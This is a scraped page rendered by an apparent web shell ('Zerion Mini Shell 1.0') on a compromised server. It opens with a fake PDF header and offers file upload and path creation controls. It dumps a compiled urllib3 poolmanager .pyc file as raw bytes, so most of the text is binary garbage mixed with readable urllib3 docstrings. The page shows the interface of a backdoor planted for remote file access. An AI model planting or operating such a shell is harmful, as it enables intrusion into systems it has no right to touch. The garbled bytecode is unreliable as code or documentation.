%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17247/usr/lib/python3/dist-packages/urllib3/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17247/usr/lib/python3/dist-packages/urllib3/__pycache__/poolmanager.cpython-35.pyc



�	\h�+�@s[ddlmZddlZyddlmZWn"ek
rTddlmZYnXddlmZm	Z	ddl
mZmZddl
m
Z
ddlmZmZmZddlZdd	lmZdd
lmZddlmZdd
dgZdedeiZeje�ZdZGdd�de�ZGdd
�d
e�Z dd�Z!dS)�)�absolute_importN)�urljoin�)�HTTPHeaderDict�RecentlyUsedContainer)�HTTPConnectionPool�HTTPSConnectionPool)�port_by_scheme)�LocationValueError�
MaxRetryError�ProxySchemeUnknown)�RequestMethods)�	parse_url)�Retry�PoolManager�ProxyManager�proxy_from_url�http�https�key_file�	cert_file�	cert_reqs�ca_certs�ssl_version�ca_cert_dirc@s�eZdZdZdZdddd�Zdd�Zdd	�Zd
d�Zdd
�Z	dddd�Z
dd�Zddd�ZdS)ra$
    Allows for arbitrary requests while transparently keeping track of
    necessary connection pools for you.

    :param num_pools:
        Number of connection pools to cache before discarding the least
        recently used pool.

    :param headers:
        Headers to include with all requests, unless other headers are given
        explicitly.

    :param \**connection_pool_kw:
        Additional parameters are used to create fresh
        :class:`urllib3.connectionpool.ConnectionPool` instances.

    Example::

        >>> manager = PoolManager(num_pools=2)
        >>> r = manager.request('GET', 'http://google.com/')
        >>> r = manager.request('GET', 'http://google.com/mail')
        >>> r = manager.request('GET', 'http://yahoo.com/')
        >>> len(manager.pools)
        2

    N�
cKs�tj||�d|kru|d}t|t�su|dk	}tj|dd�}||_|j�}||d<||_t|ddd��|_	dS)N�retriesF�redirectZdispose_funccSs
|j�S)N)�close)�p�r �5/usr/lib/python3/dist-packages/urllib3/poolmanager.py�<lambda>Ssz&PoolManager.__init__.<locals>.<lambda>)
r
�__init__�
isinstancer�from_int�raise_on_redirect�copy�connection_pool_kwr�pools)�self�	num_pools�headersr(rr&r r r!r#?s
		
		zPoolManager.__init__cCs|S)Nr )r*r r r!�	__enter__UszPoolManager.__enter__cCs|j�dS)NF)�clear)r*�exc_typeZexc_valZexc_tbr r r!�__exit__Xs
zPoolManager.__exit__cCs_t|}|j}|dkrO|jj�}xtD]}|j|d�q5W||||�S)a
        Create a new :class:`ConnectionPool` based on host, port and scheme.

        This method is used to actually create the connection pools handed out
        by :meth:`connection_from_url` and companion methods. It is intended
        to be overridden for customization.
        rN)�pool_classes_by_schemer(r'�SSL_KEYWORDS�pop)r*�scheme�host�portZpool_cls�kwargs�kwr r r!�	_new_pool]s
	
zPoolManager._new_poolcCs|jj�dS)z�
        Empty our store of pools and direct them all to close.

        This will not affect in-flight connections, but they will not be
        re-used after completion.
        N)r)r.)r*r r r!r.nszPoolManager.clearrcCs�|std��|pd}|p3tj|d�}|||f}|jj�C|jj|�}|rn|S|j|||�}||j|<WdQRX|S)z�
        Get a :class:`ConnectionPool` based on the host, port, and scheme.

        If ``port`` isn't given, it will be derived from the ``scheme`` using
        ``urllib3.connectionpool.port_by_scheme``.
        zNo host specified.r�PN)r
r	�getr)�lockr9)r*r5r6r4Zpool_keyZpoolr r r!�connection_from_hostws
z PoolManager.connection_from_hostcCs.t|�}|j|jd|jd|j�S)a*
        Similar to :func:`urllib3.connectionpool.connection_from_url` but
        doesn't pass any additional parameters to the
        :class:`urllib3.connectionpool.ConnectionPool` constructor.

        Additional parameters are taken from the :class:`.PoolManager`
        constructor.
        r6r4)rr=r5r6r4)r*�url�ur r r!�connection_from_url�s	zPoolManager.connection_from_urlTc
Ks?t|�}|j|jd|jd|j�}d|d<d|d<d|krc|jj�|d<|jdk	r�|jdkr�|j|||�}n|j||j	|�}|o�|j
�}|s�|St||�}|jd	krd
}d|d<t
|d�j�|d<|jd|j�}	t|	t�sNtj|	d|�}	|	jr�|j|�r�ttj|d��}
x7|
D]/}|j�|	jkr�|dj|d�q�Wy"|	j||d
|d|�}	Wn"tk
r|	jr��|SYnX|	|d<||d<tjd||f�|j|||�S)a]
        Same as :meth:`urllib3.connectionpool.HTTPConnectionPool.urlopen`
        with custom cross-host redirect logic and only sends the request-uri
        portion of the ``url``.

        The given ``url`` parameter must be absolute, such that an appropriate
        :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it.
        r6r4FZassert_same_hostrr,Nri/ZGETZbodyr�responseZ_poolzRedirecting %s -> %s) rr=r5r6r4r,r'�proxy�urlopenZrequest_uriZget_redirect_locationrZstatusrZ_prepare_for_method_changer;rr$rr%Zremove_headers_on_redirectZis_same_host�list�sixZiterkeys�lowerr3Z	incrementrr&�log�info)r*�methodr>rr8r?ZconnrAZredirect_locationrr,�headerr r r!rC�sH	$


	
"
		

zPoolManager.urlopen)
�__name__�
__module__�__qualname__�__doc__rBr#r-r0r9r.r=r@rCr r r r!r!s	csmeZdZdZddd�fdd�Zdd�fdd�Zdd	d
�Zd�fdd
�Z�S)raw
    Behaves just like :class:`PoolManager`, but sends all requests through
    the defined proxy, using the CONNECT method for HTTPS URLs.

    :param proxy_url:
        The URL of the proxy to be used.

    :param proxy_headers:
        A dictionary contaning headers that will be sent to the proxy. In case
        of HTTP they are being sent with each request, while in the
        HTTPS/CONNECT case they are sent only once. Could be used for proxy
        authentication.

    Example:
        >>> proxy = urllib3.ProxyManager('http://localhost:3128/')
        >>> r1 = proxy.request('GET', 'http://google.com/')
        >>> r2 = proxy.request('GET', 'http://httpbin.org/')
        >>> len(proxy.pools)
        1
        >>> r3 = proxy.request('GET', 'https://httpbin.org/')
        >>> r4 = proxy.request('GET', 'https://twitter.com/')
        >>> len(proxy.pools)
        3

    rNcs�t|t�r+d|j|j|jf}t|�}|jsgtj|jd�}|jd|�}|jdkr�t	|j��||_
|p�i|_|j
|d<|j|d<tt
|�j|||�dS)	Nz
%s://%s:%ir:r6rr�_proxyZ_proxy_headers)zhttpr)r$rr4r5r6rr	r;�_replacerrB�
proxy_headers�superrr#)r*�	proxy_urlr+r,rQr(rBr6)�	__class__r r!r#�s
		

zProxyManager.__init__rcsV|dkr(tt|�j|||�Stt|�j|jj|jj|jj�S)Nr)rRrr=rBr5r6r4)r*r5r6r4)rTr r!r=s

z!ProxyManager.connection_from_hostcCsBddi}t|�j}|r+||d<|r>|j|�|S)z�
        Sets headers needed by proxies: specifically, the Accept and Host
        headers. Only sets headers not provided by the user.
        ZAcceptz*/*ZHost)r�netloc�update)r*r>r,Zheaders_rUr r r!�_set_proxy_headerss

zProxyManager._set_proxy_headersTcsht|�}|jdkrF|jd|j�}|j||�|d<tt|�j||d||�S)z@Same as HTTP(S)ConnectionPool.urlopen, ``url`` must be absolute.rr,r)rr4r;r,rWrRrrC)r*rIr>rr8r?r,)rTr r!rC)s
zProxyManager.urlopen)rKrLrMrNr#r=rWrCr r )rTr!r�scKstd||�S)NrS)r)r>r8r r r!r7s)rrrrrr)"Z
__future__rZloggingZurllib.parser�ImportErrorZurlparse�_collectionsrrZconnectionpoolrrr	�
exceptionsr
rrrEZrequestr
Zutil.urlrZ
util.retryr�__all__r1Z	getLoggerrKrGr2rrrr r r r!�<module>s,
�W

Zerion Mini Shell 1.0